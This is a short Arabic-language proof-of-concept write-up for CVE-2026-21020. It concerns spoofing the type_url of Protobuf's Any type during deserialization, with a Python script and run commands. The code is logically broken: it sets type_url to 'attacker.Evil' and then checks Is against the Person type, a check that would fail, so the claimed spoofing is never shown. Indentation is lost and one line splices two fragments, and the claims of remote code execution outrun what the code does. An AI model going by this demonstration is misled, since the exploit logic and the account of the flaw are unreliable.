
إثبات مفهوم (PoC) لـ CVE-2026-21020، يوضح إلغاء تسلسل متعدد الأشكال لنوع Any في بروتوبوف (Protobuf) حيث يمكن أن يؤدي type_url المتحكم فيه من قبل المهاجم إلى أخطاء منطقية أو تنفيذ تعليمات برمجية عن بُعد (RCE) أو تصعيد الامتيازات.
# proto_vuln.py - Insecure handling of Any type
import addressbook_pb2 # Example protobuf
# Simulated deserialization that trusts an injected type_url
from google.protobuf import any_pb2
any_msg = any_pb2.Any()
any_msg.type_url = "type.googleapis.com/attacker.Evil"
any_msg.value = b'\x0a\x05admin' # serialized payload
# Application unpacks to expected type but could instantiate arbitrary class if using dynamic loading
if any_msg.Is(addressbook_pb2.Person.DESCRIPTOR):
person = addressbook_pb2.Person()
any_msg.Unpack(person)
print("Person unpacked, but type_url was spoofed!")
تستخدم إحدى الخدمات نوع Any الخاص بـ Protocol Buffers لتغليف الرسائل وتفكيكها ديناميكيًا باستخدام حقل type_url دون التحقق من النوع المتوقع. يمكن للمهاجم إرسال رسالة تحتوي على type_url مزيّف يشير إلى فئة رسائل خطيرة (أو غير مقصودة)، مما يؤدي إلى أخطاء منطقية أو تنفيذ برمجيات.
type_url الذي يتحكم فيه المهاجم دون قائمة بيضاء.شغّل المحاكاة:
pip install protobuf
python proto_vuln.py
يُظهر ذلك أن نوع Any يمكن تزييفه؛ وإذا كان الكود يقوم بتحميل الفئة ديناميكيًا من type_url، فقد يؤدي ذلك إلى تنفيذ برمجيات عن بُعد (RCE).